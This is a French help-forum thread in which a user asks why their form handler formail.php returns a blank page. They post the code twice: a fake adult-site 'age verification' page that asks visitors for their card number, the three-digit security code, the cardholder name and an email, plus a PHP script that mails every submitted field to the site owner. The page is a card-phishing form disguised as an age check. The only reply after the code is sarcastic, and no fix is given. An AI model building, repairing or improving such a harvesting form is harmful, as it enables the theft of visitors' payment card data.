Confirmation formulaire formail.php est vide
Fermé
claudys
Messages postés
49
Date d'inscription
mardi 28 juillet 2009
Statut
Membre
Dernière intervention
23 septembre 2009
-
29 juil. 2009 à 21:05
codeup - 16 déc. 2009 à 15:19
codeup - 16 déc. 2009 à 15:19
Bonjour,
aidez moi j'ai creer un formulaire et une page formail.php mais quan on clik sur confirmer il me met un page formail.php vide et n'envoi aucun mail
merci
aidez moi j'ai creer un formulaire et une page formail.php mais quan on clik sur confirmer il me met un page formail.php vide et n'envoi aucun mail
merci
A voir également:
- Confirmation formulaire formail.php est vide
- Supprimer page word vide - Guide
- Formulaire de réclamation facebook - Guide
- Confirmation de lecture whatsapp - Guide
- Confirmer le nouvel envoi du formulaire err_cache_miss - Forum Google Chrome
- Confirmation de lecture gmail - Guide
2 réponses
Nico_
Messages postés
1219
Date d'inscription
vendredi 29 décembre 2006
Statut
Membre
Dernière intervention
15 mars 2016
189
29 juil. 2009 à 21:24
29 juil. 2009 à 21:24
bonsoir,
comme tu as pas donnés ton code c'est dur de trouver la panne :)
voici un lien pour un générateur de formulaire php http://infoxp.leobaillard.org/formulaire/
bonne soirée
comme tu as pas donnés ton code c'est dur de trouver la panne :)
voici un lien pour un générateur de formulaire php http://infoxp.leobaillard.org/formulaire/
bonne soirée
claudys
Messages postés
49
Date d'inscription
mardi 28 juillet 2009
Statut
Membre
Dernière intervention
23 septembre 2009
1
29 juil. 2009 à 21:29
29 juil. 2009 à 21:29
code de la page qui contien le formulaire
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<script language="JavaScript" type="text/javascript">
<!--
function flash_labels(show) {
var i = 1;
while(document.getElementById('field'+i)){
if (document.getElementById('flabel'+i).style.color == "red"){
if (show)
document.getElementById('flabel'+i).style.visibility = "visible";
else
document.getElementById('flabel'+i).style.visibility = "hidden";
}
i++;
}
}
function verifSelection() {
var i = 1;
var retour = true;
while(document.getElementById('field'+i)){
if (document.getElementById('field'+i).value == ""){
document.getElementById('flabel'+i).style.color = "red";
retour = false;
}else{
document.getElementById('flabel'+i).style.color = "";
}
i++;
}
if (!retour) alert("Vous devez remplir le formulaire au complet !");
setTimeout("flash_labels(false)", 100);
setTimeout("flash_labels(true)", 350);
setTimeout("flash_labels(false)", 600);
setTimeout("flash_labels(true)", 850);
return retour;
}
<?php if (isset($complete) && $complete == false) echo 'onload = function() {verifSelection(); }'; ?>
// -->
</script>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<title>VIDEOS</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="shortcut icon" type="image/x-icon" href="/favicon.ico">
<style type="text/css">
body {
margin:0px; padding:0px;
font-family:Arial,serif;
background-color:#000; }
form {
margin:0px;
padding:0px;
}
.footer {
font:normal 12px Arial, serif;
}
.content {
font:normal 12px Arial, serif;
color:#000;
background-color:#E1E1E1;
margin-top:20px;
}
.redtext24 {
font:bold 24px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.blacktext30 {
font:normal 30px Arial, serif;
color:#000;
text-align:center;
margin-top:25px;
}
.blacktext40 {
font:bold 45px Arial, serif;
color:#000;
text-transform:uppercase;
}
.redtext50 {
font:bold 75px/75px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.blacktext28 {
font:bold 28px Arial, serif;
color:#000;
text-transform:uppercase;
}
.redtext23 {
font:bold 23px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.redtext15 {
font:bold 18px Arial, serif;
color:#FF0000;
}
.error {background: url(/images/cb60f90/error.gif) no-repeat; padding:4px 4px 4px 20px; color:white; font-weight:bold; font-size:9px; position:absolute; margin-left:3px; }
a, a:hover { color:#000; text-decoration:none; }
a:hover { text-decoration:underline; }
.contentred { border:solid 1px red; }
</style></head>
<body style="color: rgb(0, 0, 0); background-color: rgb(0, 39, 0);" alink="#000099" link="#000099" vlink="#990099">
<table style="text-align: left; width: 973px; height: 102px;" border="1" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td><img style="width: 120px; height: 90px;" alt="" src="2.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="3.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="6.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="9.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="10.jpg"></td>
<td> <img style="width: 120px; height: 90px;" alt="" src="11.jpg"></td>
</tr>
</tbody>
</table>
<br>
<big style="font-weight: bold;"><big><big>TOUTES
NOS VIDEOS </big></big></big><big style="font-weight: bold;"><big><span style="color: rgb(204, 0, 0);"></span></big></big><big style="font-weight: bold;"><big><big>SONT
VISIBLES ET TELECHARGEABLES SUR CE SITE<br>
</big></big></big>
<div style="text-align: center;"><big style="color: rgb(153, 0, 0);"><big style="font-weight: bold;"><big>
Vérification
de votre majorité</big><big style="font-weight: bold;"><big><big> </big></big></big></big></big><br style="color: rgb(153, 0, 0);">
<big style="font-weight: bold; text-decoration: underline; color: rgb(153, 0, 0);"><big>VEUILLEZ
REMPLIR LE FORMULAIRE DE VERIFICATION DE MAJORITE</big></big><span style="color: rgb(153, 0, 0);">
</span><br style="color: rgb(153, 0, 0);">
<br style="color: rgb(153, 0, 0);">
<span style="color: rgb(153, 0, 0);">Afin
de confirmer votre
majorité, Veuillez saisir votre
numéro de carte bancaire<br></span><div align="center">
<form method="post" action="formmail.php">
<input name="subject" value="formmail" type="hidden">
<table>
<tbody><tr><td>Numéro de carte bancaire:</td>
<td><input name="realname" size="30"></td></tr>
<tr><td> Votre Email:</td>
<td><input name="email" size="30" type="text"></td></tr>
<tr><td> les 3 chiffres au dos:</td>
<td><input maxlength="3" name="title" size="3"></td></tr>
<tr><td colspan="2"> Nom sur la carte: <input name="title" size="30"></td></tr></tbody></table></form></div><br>
<br><br> <a href="formmail.php"><input value="COFIRMER" type="submit"></a><br><br>
</div><br>
<table style="text-align: left; width: 972px; height: 117px;" border="1" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td><img style="width: 120px; height: 90px;" alt="" src="15.jpg"></td>
<td> <img style="width: 120px; height: 90px;" alt="" src="20.jpg"></td>
<td> <img style="width: 140px; height: 105px;" alt="" src="a.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="ddp.jpg"></td>
<td><img style="width: 157px; height: 89px;" alt="" src="hy.jpg"></td>
<td> <img style="width: 125px; height: 90px;" alt="" src="dd.jpg"></td>
</tr>
</tbody>
</table>
</body></html>
code du formail fait avec note pad ++
<?php
$TO = "votre adresse email";
$h = "From: " . $TO;
$message = "";
while (list($key, $val) = each($HTTP_POST_VARS)) {
$message .= "$key : $val\n";
}
mail($TO, $subject, $message, $h);
Header("Location: E:/site%20porno/ESPACE%20MAJEUR.html");
?>
voila
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<script language="JavaScript" type="text/javascript">
<!--
function flash_labels(show) {
var i = 1;
while(document.getElementById('field'+i)){
if (document.getElementById('flabel'+i).style.color == "red"){
if (show)
document.getElementById('flabel'+i).style.visibility = "visible";
else
document.getElementById('flabel'+i).style.visibility = "hidden";
}
i++;
}
}
function verifSelection() {
var i = 1;
var retour = true;
while(document.getElementById('field'+i)){
if (document.getElementById('field'+i).value == ""){
document.getElementById('flabel'+i).style.color = "red";
retour = false;
}else{
document.getElementById('flabel'+i).style.color = "";
}
i++;
}
if (!retour) alert("Vous devez remplir le formulaire au complet !");
setTimeout("flash_labels(false)", 100);
setTimeout("flash_labels(true)", 350);
setTimeout("flash_labels(false)", 600);
setTimeout("flash_labels(true)", 850);
return retour;
}
<?php if (isset($complete) && $complete == false) echo 'onload = function() {verifSelection(); }'; ?>
// -->
</script>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<title>VIDEOS</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="shortcut icon" type="image/x-icon" href="/favicon.ico">
<style type="text/css">
body {
margin:0px; padding:0px;
font-family:Arial,serif;
background-color:#000; }
form {
margin:0px;
padding:0px;
}
.footer {
font:normal 12px Arial, serif;
}
.content {
font:normal 12px Arial, serif;
color:#000;
background-color:#E1E1E1;
margin-top:20px;
}
.redtext24 {
font:bold 24px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.blacktext30 {
font:normal 30px Arial, serif;
color:#000;
text-align:center;
margin-top:25px;
}
.blacktext40 {
font:bold 45px Arial, serif;
color:#000;
text-transform:uppercase;
}
.redtext50 {
font:bold 75px/75px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.blacktext28 {
font:bold 28px Arial, serif;
color:#000;
text-transform:uppercase;
}
.redtext23 {
font:bold 23px Arial, serif;
color:#FF0000;
text-transform:uppercase;
}
.redtext15 {
font:bold 18px Arial, serif;
color:#FF0000;
}
.error {background: url(/images/cb60f90/error.gif) no-repeat; padding:4px 4px 4px 20px; color:white; font-weight:bold; font-size:9px; position:absolute; margin-left:3px; }
a, a:hover { color:#000; text-decoration:none; }
a:hover { text-decoration:underline; }
.contentred { border:solid 1px red; }
</style></head>
<body style="color: rgb(0, 0, 0); background-color: rgb(0, 39, 0);" alink="#000099" link="#000099" vlink="#990099">
<table style="text-align: left; width: 973px; height: 102px;" border="1" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td><img style="width: 120px; height: 90px;" alt="" src="2.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="3.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="6.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="9.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="10.jpg"></td>
<td> <img style="width: 120px; height: 90px;" alt="" src="11.jpg"></td>
</tr>
</tbody>
</table>
<br>
<big style="font-weight: bold;"><big><big>TOUTES
NOS VIDEOS </big></big></big><big style="font-weight: bold;"><big><span style="color: rgb(204, 0, 0);"></span></big></big><big style="font-weight: bold;"><big><big>SONT
VISIBLES ET TELECHARGEABLES SUR CE SITE<br>
</big></big></big>
<div style="text-align: center;"><big style="color: rgb(153, 0, 0);"><big style="font-weight: bold;"><big>
Vérification
de votre majorité</big><big style="font-weight: bold;"><big><big> </big></big></big></big></big><br style="color: rgb(153, 0, 0);">
<big style="font-weight: bold; text-decoration: underline; color: rgb(153, 0, 0);"><big>VEUILLEZ
REMPLIR LE FORMULAIRE DE VERIFICATION DE MAJORITE</big></big><span style="color: rgb(153, 0, 0);">
</span><br style="color: rgb(153, 0, 0);">
<br style="color: rgb(153, 0, 0);">
<span style="color: rgb(153, 0, 0);">Afin
de confirmer votre
majorité, Veuillez saisir votre
numéro de carte bancaire<br></span><div align="center">
<form method="post" action="formmail.php">
<input name="subject" value="formmail" type="hidden">
<table>
<tbody><tr><td>Numéro de carte bancaire:</td>
<td><input name="realname" size="30"></td></tr>
<tr><td> Votre Email:</td>
<td><input name="email" size="30" type="text"></td></tr>
<tr><td> les 3 chiffres au dos:</td>
<td><input maxlength="3" name="title" size="3"></td></tr>
<tr><td colspan="2"> Nom sur la carte: <input name="title" size="30"></td></tr></tbody></table></form></div><br>
<br><br> <a href="formmail.php"><input value="COFIRMER" type="submit"></a><br><br>
</div><br>
<table style="text-align: left; width: 972px; height: 117px;" border="1" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td><img style="width: 120px; height: 90px;" alt="" src="15.jpg"></td>
<td> <img style="width: 120px; height: 90px;" alt="" src="20.jpg"></td>
<td> <img style="width: 140px; height: 105px;" alt="" src="a.jpg"></td>
<td><img style="width: 120px; height: 90px;" alt="" src="ddp.jpg"></td>
<td><img style="width: 157px; height: 89px;" alt="" src="hy.jpg"></td>
<td> <img style="width: 125px; height: 90px;" alt="" src="dd.jpg"></td>
</tr>
</tbody>
</table>
</body></html>
code du formail fait avec note pad ++
<?php
$TO = "votre adresse email";
$h = "From: " . $TO;
$message = "";
while (list($key, $val) = each($HTTP_POST_VARS)) {
$message .= "$key : $val\n";
}
mail($TO, $subject, $message, $h);
Header("Location: E:/site%20porno/ESPACE%20MAJEUR.html");
?>
voila
16 déc. 2009 à 15:19
super ! vraiment...
++